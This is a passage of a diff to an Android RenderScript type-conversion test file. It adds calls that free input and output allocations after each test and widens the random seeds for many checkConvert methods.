             verifyResultsConvertUchar3Short3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertShort3Uchar3Short3: " + e.toString());
         }
@@ -4951,9 +5169,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertShort3Uchar3Short3(inV, out);
             verifyResultsConvertUchar3Short3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertShort3Uchar3Short3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUchar3Short3(Allocation inV, Allocation out, boolean relaxed) {
@@ -5007,11 +5227,12 @@
     }
 
     private void checkConvertUchar4Short4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_8, 4, 0xe906a9b9l, false, 8);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_8, 4, 0x7d341d88e906a9b9l, false, 8);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 4), INPUTSIZE);
             script.forEach_testConvertShort4Uchar4Short4(inV, out);
             verifyResultsConvertUchar4Short4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertShort4Uchar4Short4: " + e.toString());
         }
@@ -5019,9 +5240,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertShort4Uchar4Short4(inV, out);
             verifyResultsConvertUchar4Short4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertShort4Uchar4Short4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUchar4Short4(Allocation inV, Allocation out, boolean relaxed) {
@@ -5080,11 +5303,12 @@
     }
 
     private void checkConvertShort2Short2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_16, 2, 0x40d14d3el, true, 15);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_16, 2, 0x94caa18440d14d3el, true, 15);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 2), INPUTSIZE);
             script.forEach_testConvertShort2Short2Short2(inV, out);
             verifyResultsConvertShort2Short2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertShort2Short2Short2: " + e.toString());
         }
@@ -5092,9 +5316,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertShort2Short2Short2(inV, out);
             verifyResultsConvertShort2Short2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertShort2Short2Short2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertShort2Short2(Allocation inV, Allocation out, boolean relaxed) {
@@ -5148,11 +5374,12 @@
     }
 
     private void checkConvertShort3Short3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_16, 3, 0x36ec6e1cl, true, 15);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_16, 3, 0x94cc6a9f36ec6e1cl, true, 15);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 3), INPUTSIZE);
             script.forEach_testConvertShort3Short3Short3(inV, out);
             verifyResultsConvertShort3Short3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertShort3Short3Short3: " + e.toString());
         }
@@ -5160,9 +5387,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertShort3Short3Short3(inV, out);
             verifyResultsConvertShort3Short3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertShort3Short3Short3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertShort3Short3(Allocation inV, Allocation out, boolean relaxed) {
@@ -5216,11 +5445,12 @@
     }
 
     private void checkConvertShort4Short4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_16, 4, 0x2d078efal, true, 15);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_16, 4, 0x94ce33ba2d078efal, true, 15);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 4), INPUTSIZE);
             script.forEach_testConvertShort4Short4Short4(inV, out);
             verifyResultsConvertShort4Short4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertShort4Short4Short4: " + e.toString());
         }
@@ -5228,9 +5458,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertShort4Short4Short4(inV, out);
             verifyResultsConvertShort4Short4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertShort4Short4Short4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertShort4Short4(Allocation inV, Allocation out, boolean relaxed) {
@@ -5289,11 +5521,12 @@
     }
 
     private void checkConvertUshort2Short2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_16, 2, 0x6e1d9cf7l, false, 15);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_16, 2, 0xc36a02cb6e1d9cf7l, false, 15);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 2), INPUTSIZE);
             script.forEach_testConvertShort2Ushort2Short2(inV, out);
             verifyResultsConvertUshort2Short2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertShort2Ushort2Short2: " + e.toString());
         }
@@ -5301,9 +5534,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertShort2Ushort2Short2(inV, out);
             verifyResultsConvertUshort2Short2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertShort2Ushort2Short2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUshort2Short2(Allocation inV, Allocation out, boolean relaxed) {
@@ -5357,11 +5592,12 @@
     }
 
     private void checkConvertUshort3Short3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_16, 3, 0x6438bdd5l, false, 15);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_16, 3, 0xc36bcbe66438bdd5l, false, 15);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 3), INPUTSIZE);
             script.forEach_testConvertShort3Ushort3Short3(inV, out);
             verifyResultsConvertUshort3Short3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertShort3Ushort3Short3: " + e.toString());
         }
@@ -5369,9 +5605,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertShort3Ushort3Short3(inV, out);
             verifyResultsConvertUshort3Short3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertShort3Ushort3Short3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUshort3Short3(Allocation inV, Allocation out, boolean relaxed) {
@@ -5425,11 +5663,12 @@
     }
 
     private void checkConvertUshort4Short4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_16, 4, 0x5a53deb3l, false, 15);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_16, 4, 0xc36d95015a53deb3l, false, 15);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 4), INPUTSIZE);
             script.forEach_testConvertShort4Ushort4Short4(inV, out);
             verifyResultsConvertUshort4Short4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertShort4Ushort4Short4: " + e.toString());
         }
@@ -5437,9 +5676,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertShort4Ushort4Short4(inV, out);
             verifyResultsConvertUshort4Short4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertShort4Ushort4Short4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUshort4Short4(Allocation inV, Allocation out, boolean relaxed) {
@@ -5498,11 +5739,12 @@
     }
 
     private void checkConvertInt2Short2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_32, 2, 0xb5b27b91l, true, 15);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_32, 2, 0x2a535120b5b27b91l, true, 15);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 2), INPUTSIZE);
             script.forEach_testConvertShort2Int2Short2(inV, out);
             verifyResultsConvertInt2Short2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertShort2Int2Short2: " + e.toString());
         }
@@ -5510,9 +5752,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertShort2Int2Short2(inV, out);
             verifyResultsConvertInt2Short2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertShort2Int2Short2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertInt2Short2(Allocation inV, Allocation out, boolean relaxed) {
@@ -5566,11 +5810,12 @@
     }
 
     private void checkConvertInt3Short3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_32, 3, 0xabcd9c6fl, true, 15);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_32, 3, 0x2a551a3babcd9c6fl, true, 15);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 3), INPUTSIZE);
             script.forEach_testConvertShort3Int3Short3(inV, out);
             verifyResultsConvertInt3Short3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertShort3Int3Short3: " + e.toString());
         }
@@ -5578,9 +5823,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertShort3Int3Short3(inV, out);
             verifyResultsConvertInt3Short3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertShort3Int3Short3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertInt3Short3(Allocation inV, Allocation out, boolean relaxed) {
@@ -5634,11 +5881,12 @@
     }
 
     private void checkConvertInt4Short4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_32, 4, 0xa1e8bd4dl, true, 15);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_32, 4, 0x2a56e356a1e8bd4dl, true, 15);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 4), INPUTSIZE);
             script.forEach_testConvertShort4Int4Short4(inV, out);
             verifyResultsConvertInt4Short4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertShort4Int4Short4: " + e.toString());
         }
@@ -5646,9 +5894,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertShort4Int4Short4(inV, out);
             verifyResultsConvertInt4Short4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertShort4Int4Short4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertInt4Short4(Allocation inV, Allocation out, boolean relaxed) {
@@ -5707,11 +5957,12 @@
     }
 
     private void checkConvertUint2Short2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_32, 2, 0x48348812l, false, 15);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_32, 2, 0xd1e10a6e48348812l, false, 15);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 2), INPUTSIZE);
             script.forEach_testConvertShort2Uint2Short2(inV, out);
             verifyResultsConvertUint2Short2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertShort2Uint2Short2: " + e.toString());
         }
@@ -5719,9 +5970,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertShort2Uint2Short2(inV, out);
             verifyResultsConvertUint2Short2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertShort2Uint2Short2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUint2Short2(Allocation inV, Allocation out, boolean relaxed) {
@@ -5775,11 +6028,12 @@
     }
 
     private void checkConvertUint3Short3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_32, 3, 0x3e4fa8f0l, false, 15);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_32, 3, 0xd1e2d3893e4fa8f0l, false, 15);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 3), INPUTSIZE);
             script.forEach_testConvertShort3Uint3Short3(inV, out);
             verifyResultsConvertUint3Short3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertShort3Uint3Short3: " + e.toString());
         }
@@ -5787,9 +6041,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertShort3Uint3Short3(inV, out);
             verifyResultsConvertUint3Short3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertShort3Uint3Short3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUint3Short3(Allocation inV, Allocation out, boolean relaxed) {
@@ -5843,11 +6099,12 @@
     }
 
     private void checkConvertUint4Short4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_32, 4, 0x346ac9cel, false, 15);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_32, 4, 0xd1e49ca4346ac9cel, false, 15);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 4), INPUTSIZE);
             script.forEach_testConvertShort4Uint4Short4(inV, out);
             verifyResultsConvertUint4Short4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertShort4Uint4Short4: " + e.toString());
         }
@@ -5855,9 +6112,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertShort4Uint4Short4(inV, out);
             verifyResultsConvertUint4Short4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertShort4Uint4Short4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUint4Short4(Allocation inV, Allocation out, boolean relaxed) {
@@ -5916,11 +6175,12 @@
     }
 
     private void checkConvertFloat2Ushort2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xb708416fl, 0.0000000000000000000e+00, 6.5535000000000000000e+04);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x36e4b950b708416fl, 0.0000000000000000000e+00, 6.5535000000000000000e+04);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 2), INPUTSIZE);
             script.forEach_testConvertUshort2Float2Ushort2(inV, out);
             verifyResultsConvertFloat2Ushort2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUshort2Float2Ushort2: " + e.toString());
         }
@@ -5928,9 +6188,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUshort2Float2Ushort2(inV, out);
             verifyResultsConvertFloat2Ushort2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUshort2Float2Ushort2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertFloat2Ushort2(Allocation inV, Allocation out, boolean relaxed) {
@@ -5984,11 +6246,12 @@
     }
 
     private void checkConvertFloat3Ushort3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xd63d29bl, 0.0000000000000000000e+00, 6.5535000000000000000e+04);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x373180d80d63d29bl, 0.0000000000000000000e+00, 6.5535000000000000000e+04);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 3), INPUTSIZE);
             script.forEach_testConvertUshort3Float3Ushort3(inV, out);
             verifyResultsConvertFloat3Ushort3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUshort3Float3Ushort3: " + e.toString());
         }
@@ -5996,9 +6259,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUshort3Float3Ushort3(inV, out);
             verifyResultsConvertFloat3Ushort3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUshort3Float3Ushort3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertFloat3Ushort3(Allocation inV, Allocation out, boolean relaxed) {
@@ -6052,11 +6317,12 @@
     }
 
     private void checkConvertFloat4Ushort4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x63bf63c7l, 0.0000000000000000000e+00, 6.5535000000000000000e+04);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x377e485f63bf63c7l, 0.0000000000000000000e+00, 6.5535000000000000000e+04);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 4), INPUTSIZE);
             script.forEach_testConvertUshort4Float4Ushort4(inV, out);
             verifyResultsConvertFloat4Ushort4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUshort4Float4Ushort4: " + e.toString());
         }
@@ -6064,9 +6330,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUshort4Float4Ushort4(inV, out);
             verifyResultsConvertFloat4Ushort4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUshort4Float4Ushort4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertFloat4Ushort4(Allocation inV, Allocation out, boolean relaxed) {
@@ -6125,11 +6393,12 @@
     }
 
     private void checkConvertChar2Ushort2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_8, 2, 0xd8f1eeafl, false, 7);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_8, 2, 0xd88c0b0ed8f1eeafl, false, 7);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 2), INPUTSIZE);
             script.forEach_testConvertUshort2Char2Ushort2(inV, out);
             verifyResultsConvertChar2Ushort2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUshort2Char2Ushort2: " + e.toString());
         }
@@ -6137,9 +6406,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUshort2Char2Ushort2(inV, out);
             verifyResultsConvertChar2Ushort2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUshort2Char2Ushort2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertChar2Ushort2(Allocation inV, Allocation out, boolean relaxed) {
@@ -6193,11 +6464,12 @@
     }
 
     private void checkConvertChar3Ushort3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_8, 3, 0x2f4d7fdbl, false, 7);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_8, 3, 0xd8d8d2962f4d7fdbl, false, 7);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 3), INPUTSIZE);
             script.forEach_testConvertUshort3Char3Ushort3(inV, out);
             verifyResultsConvertChar3Ushort3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUshort3Char3Ushort3: " + e.toString());
         }
@@ -6205,9 +6477,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUshort3Char3Ushort3(inV, out);
             verifyResultsConvertChar3Ushort3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUshort3Char3Ushort3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertChar3Ushort3(Allocation inV, Allocation out, boolean relaxed) {
@@ -6261,11 +6535,12 @@
     }
 
     private void checkConvertChar4Ushort4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_8, 4, 0x85a91107l, false, 7);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_8, 4, 0xd9259a1d85a91107l, false, 7);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 4), INPUTSIZE);
             script.forEach_testConvertUshort4Char4Ushort4(inV, out);
             verifyResultsConvertChar4Ushort4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUshort4Char4Ushort4: " + e.toString());
         }
@@ -6273,9 +6548,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUshort4Char4Ushort4(inV, out);
             verifyResultsConvertChar4Ushort4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUshort4Char4Ushort4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertChar4Ushort4(Allocation inV, Allocation out, boolean relaxed) {
@@ -6334,11 +6611,12 @@
     }
 
     private void checkConvertUchar2Ushort2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_8, 2, 0x63e3e68l, false, 8);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_8, 2, 0x72b6c56063e3e68l, false, 8);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 2), INPUTSIZE);
             script.forEach_testConvertUshort2Uchar2Ushort2(inV, out);
             verifyResultsConvertUchar2Ushort2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUshort2Uchar2Ushort2: " + e.toString());
         }
@@ -6346,9 +6624,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUshort2Uchar2Ushort2(inV, out);
             verifyResultsConvertUchar2Ushort2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUshort2Uchar2Ushort2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUchar2Ushort2(Allocation inV, Allocation out, boolean relaxed) {
@@ -6402,11 +6682,12 @@
     }
 
     private void checkConvertUchar3Ushort3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_8, 3, 0x5c99cf94l, false, 8);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_8, 3, 0x77833dd5c99cf94l, false, 8);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 3), INPUTSIZE);
             script.forEach_testConvertUshort3Uchar3Ushort3(inV, out);
             verifyResultsConvertUchar3Ushort3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUshort3Uchar3Ushort3: " + e.toString());
         }
@@ -6414,9 +6695,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUshort3Uchar3Ushort3(inV, out);
             verifyResultsConvertUchar3Ushort3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUshort3Uchar3Ushort3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUchar3Ushort3(Allocation inV, Allocation out, boolean relaxed) {
@@ -6470,11 +6753,12 @@
     }
 
     private void checkConvertUchar4Ushort4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_8, 4, 0xb2f560c0l, false, 8);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_8, 4, 0x7c4fb64b2f560c0l, false, 8);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 4), INPUTSIZE);
             script.forEach_testConvertUshort4Uchar4Ushort4(inV, out);
             verifyResultsConvertUchar4Ushort4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUshort4Uchar4Ushort4: " + e.toString());
         }
@@ -6482,9 +6766,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUshort4Uchar4Ushort4(inV, out);
             verifyResultsConvertUchar4Ushort4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUshort4Uchar4Ushort4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUchar4Ushort4(Allocation inV, Allocation out, boolean relaxed) {
@@ -6543,11 +6829,12 @@
     }
 
     private void checkConvertShort2Ushort2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_16, 2, 0x7264c053l, false, 15);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_16, 2, 0xfe0d269c7264c053l, false, 15);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 2), INPUTSIZE);
             script.forEach_testConvertUshort2Short2Ushort2(inV, out);
             verifyResultsConvertShort2Ushort2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUshort2Short2Ushort2: " + e.toString());
         }
@@ -6555,9 +6842,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUshort2Short2Ushort2(inV, out);
             verifyResultsConvertShort2Ushort2(inV, out, true);
